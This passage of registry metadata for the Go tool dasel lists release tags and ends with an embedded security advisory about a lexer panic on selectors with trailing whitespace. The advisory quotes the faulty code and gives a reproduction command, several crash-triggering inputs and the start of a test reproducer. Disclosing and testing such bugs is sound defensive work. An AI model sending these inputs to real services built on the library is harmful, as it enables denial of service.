8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.18.0/manifests"},{"name":"v1.17.0","sha":"650cd32eb1fef60641f7a70c49d6778b4ff214c5","kind":"commit","published_at":"2021-08-08T22:05:24.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.17.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.17.0/manifests"},{"name":"v1.16.1","sha":"398f408b2e510a42d387591f87ea4f75dd69a4f3","kind":"commit","published_at":"2021-08-02T11:46:50.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.16.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.16.1/manifests"},{"name":"v1.16.0","sha":"de4bd757bfcee4a5a71c4fdf0da3b7880e9d9903","kind":"commit","published_at":"2021-08-01T22:34:17.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.16.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"1fe842d531413ef6837c4bf696fb767d912115ef","kind":"commit","published_at":"2021-05-06T13:38:10.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.15.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.15.0/manifests"},{"name":"v1.14.1","sha":"a625e05276d2de14895f7942d8b50f60f222e356","kind":"commit","published_at":"2021-04-15T21:52:42.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.14.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"f859e8865a8c009ec89b77a8a89defb90b18f33c","kind":"commit","published_at":"2021-04-11T22:00:12.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.14.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.14.0/manifests"},{"name":"v1.13.6","sha":"16cb4eb65931f0e0f54b0f109310e627a263468b","kind":"commit","published_at":"2021-03-29T16:11:44.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.6","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.6/manifests"},{"name":"v1.13.5","sha":"47aa6ce2803b857d0ef436f7584e9e4277e03073","kind":"commit","published_at":"2021-03-22T09:44:26.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.5","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.5/manifests"},{"name":"v1.13.4","sha":"69e9072b8da32443d62da9ff60552742a176c634","kind":"commit","published_at":"2021-03-11T10:18:28.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.4","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.4/manifests"},{"name":"v1.13.3","sha":"fe4da3caa49a979fa22ad1857783a2a399036487","kind":"commit","published_at":"2021-03-05T16:04:43.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.3/manifests"},{"name":"v1.13.2","sha":"528b1180e340b6fad35d96e95bd941a861500120","kind":"commit","published_at":"2021-02-25T09:33:28.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.2/manifests"},{"name":"v1.13.1","sha":"2c858e619ee3c7765672f578699cb701bf58bb03","kind":"commit","published_at":"2021-02-18T16:06:51.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"11793dc6696ca49ffa52dbbbac6cdb360936b51f","kind":"commit","published_at":"2021-02-11T11:38:44.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.13.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.13.0/manifests"},{"name":"v1.12.2","sha":"15e6dfd4c91a61be93efe5adec1efc98993cf79a","kind":"commit","published_at":"2021-01-05T23:08:17.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.12.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.12.2/manifests"},{"name":"v1.12.1","sha":"0da8c98073c2944fa786971342ffb4b25539414d","kind":"commit","published_at":"2021-01-05T13:13:51.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.12.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"23a3cdd69ef8097e4a6e2dddb3e6c120aaff3db8","kind":"commit","published_at":"2021-01-02T14:42:33.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.12.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"31b2e517670efe1cad75baa2a062d2539019b580","kind":"commit","published_at":"2020-12-22T15:09:57.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.11.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"52353bc97f1f231a9f644e01409634f9689fb179","kind":"commit","published_at":"2020-12-19T22:47:13.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.10.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.10.0/manifests"},{"name":"v1.9.1","sha":"ae138261595ba6b632b323c5807b18a22774b903","kind":"commit","published_at":"2020-12-14T22:20:20.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.9.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.9.1/manifests"},{"name":"v1.9.0","sha":"2e1c34f20ef2e6470c8555fb7ed72a35bee5f288","kind":"commit","published_at":"2020-12-14T10:54:57.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.9.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"f68d1b84cb62839e9dde8839bf65a1d13755bd25","kind":"commit","published_at":"2020-12-01T12:51:55.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.8.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.8.0/manifests"},{"name":"v1.7.0","sha":"ff149493f7804773972258235d0c669d4e3d06c8","kind":"commit","published_at":"2020-12-01T00:40:58.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.7.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.7.0/manifests"},{"name":"v1.6.2","sha":"b1626a62a0cd046918aa92dc368b594a0ca6ef20","kind":"commit","published_at":"2020-11-18T19:04:48.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.6.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"a364f55fefef1f5976c3f1b9786e41cb3d21ea75","kind":"commit","published_at":"2020-11-17T13:44:51.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.6.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"ab4062b92b7412f48c2dd3444e3df713314c5a14","kind":"commit","published_at":"2020-11-17T00:04:32.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.6.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.6.0/manifests"},{"name":"v1.5.1","sha":"1dc4163c673a6c215de0daff96e3721b8232b90a","kind":"commit","published_at":"2020-11-14T13:03:15.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.5.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"b45d76cb7a4183777a6f8e475d04e2be5e77220a","kind":"commit","published_at":"2020-11-12T15:57:47.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.5.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"9819b05efafaad4b501bcda516f8f2bc53621987","kind":"commit","published_at":"2020-11-11T22:36:32.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.4.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"d140860feae550f2838329c3a12d05fd07beea4c","kind":"commit","published_at":"2020-11-08T23:36:47.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.4.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"fc1640717e7ef8f59891a4d03f6813e9b19fbc2d","kind":"commit","published_at":"2020-11-08T15:09:48.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.3.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"fc77e6518c24cb36392aacc1dccda2bc3309ed3a","kind":"commit","published_at":"2020-11-07T00:40:23.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.2.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"d72c88311441c362b59c03a814ccf6d078ad2289","kind":"commit","published_at":"2020-11-01T19:59:17.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.1.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.1.0/manifests"},{"name":"v1.0.4","sha":"a9095ba067777ed78a89dd0f1e22be82b41699ea","kind":"commit","published_at":"2020-10-30T00:35:25.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.0.4","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"cb6251a8c020b01a3a869d0077fdc2da0cbcdfac","kind":"commit","published_at":"2020-10-29T22:42:10.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.0.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"879d5c12a802c06db6583ca13d201fa8b045d9fd","kind":"commit","published_at":"2020-10-28T23:21:41.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.0.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"a6a0372008fe5a67afb6a065a2470cd44a630316","kind":"commit","published_at":"2020-10-28T16:49:03.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.0.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"85344e2a11b8132d9e6f1ffd438ae2494c4f1a3d","kind":"commit","published_at":"2020-10-27T21:50:12.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v1.0.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v1.0.0/manifests"},{"name":"v0.0.5","sha":"dc0dcad1d60d3aeabda016972b5cac840d9e4e67","kind":"commit","published_at":"2020-09-27T22:03:23.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v0.0.5","html_url":"https://github.com/TomWright/dasel/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"22486883f0b3b59fb89d543344df3d6e75416d65","kind":"commit","published_at":"2020-09-27T15:10:26.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v0.0.4","html_url":"https://github.com/TomWright/dasel/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"a27f1730a3b1a3d043fbcca1b5b858a001e376ea","kind":"commit","published_at":"2020-09-23T23:50:01.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v0.0.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"75f1f2d8cecf50bafee308c01c6fc5f010ea766a","kind":"commit","published_at":"2020-09-23T14:48:07.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v0.0.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"14907979bb2885337bba95c3afd0ed3aa5331723","kind":"commit","published_at":"2020-09-22T22:56:21.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v0.0.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-09-29T09:18:02.143Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.500898476020064,"dependent_packages_count":5.1547680194357355,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":5.3278332477279},"purl":"pkg:golang/github.com/tomwright/dasel/v3","advisories":[{"uuid":"GSA_kwCzR0hTQS02NWdnLWc3cnctNmNwY84AB6SB","url":"https://github.com/advisories/GHSA-65gg-g7rw-6cpc","title":"Dasel: Selector lexer panics on trailing whitespace in `parseCurRune`","description":"Same panic class as GHSA-m5j3-4634-c2vq and GHSA-m6xr-fvfg-5g64, sister site on the same function. Trigger is any selector ending in whitespace: `dasel query 'a '` panics at `selector/lexer/tokenize.go:60`.\n\nThe whitespace-skip loop right above (lines 55-57) advances `p.i` to `p.srcLen` when the input is all-whitespace or whitespace-trailing. The very next line reads `p.src[p.i]` without a bounds check.\n\n## Vulnerable code\n\n`selector/lexer/tokenize.go:53-74` (v3.11.0):\n\n```go\nfunc (p *Tokenizer) parseCurRune() (Token, error) {\n\t// Skip over whitespace\n\tfor p.i \u003c p.srcLen \u0026\u0026 unicode.IsSpace(rune(p.src[p.i])) {\n\t\tp.i++\n\t}\n\n\t// Skip over comments\n\tif p.src[p.i] == '/' \u0026\u0026 p.i+1 \u003c p.srcLen \u0026\u0026 p.src[p.i+1] == '/' {\n\t\t// ...\n```\n\nLines 69-71 right below already do the bounds check after the comment-skip path. The whitespace-only path slipped past it.\n\n## Reproduce\n\n```\n$ echo '{\"a\":1}' | dasel query -i json 'a '\npanic: runtime error: index out of range [2] with length 2\n\ngoroutine 1 [running]:\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n\tselector/lexer/tokenize.go:60\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).Next(...)\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).Tokenize(...)\ngithub.com/tomwright/dasel/v3/selector.Parse(...)\ngithub.com/tomwright/dasel/v3/execution.ExecuteSelector(...)\n```\n\nOther inputs that hit it: `'   '`, `$'a\\t'`, `$'a\\n'`, `'a ?? '`, `'a + '`. Any token (or no token) followed by whitespace.\n\nReachable directly from the library too - `dasel.Query(ctx, input, \"a \")` panics the same way. Project-style test reproducer that fails on current `main`:\n\n```go\n// drop into selector/lexer/ as tokenize_trailing_ws_test.go\npackage lexer_test\n\nimport (\n\t\"testing\"\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc TestTokenize_TrailingWhitespacePanic(t *testing.T) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Fatalf(\"Tokenize panicked: %v\", r)\n\t\t}\n\t}()\n\t_, _ = 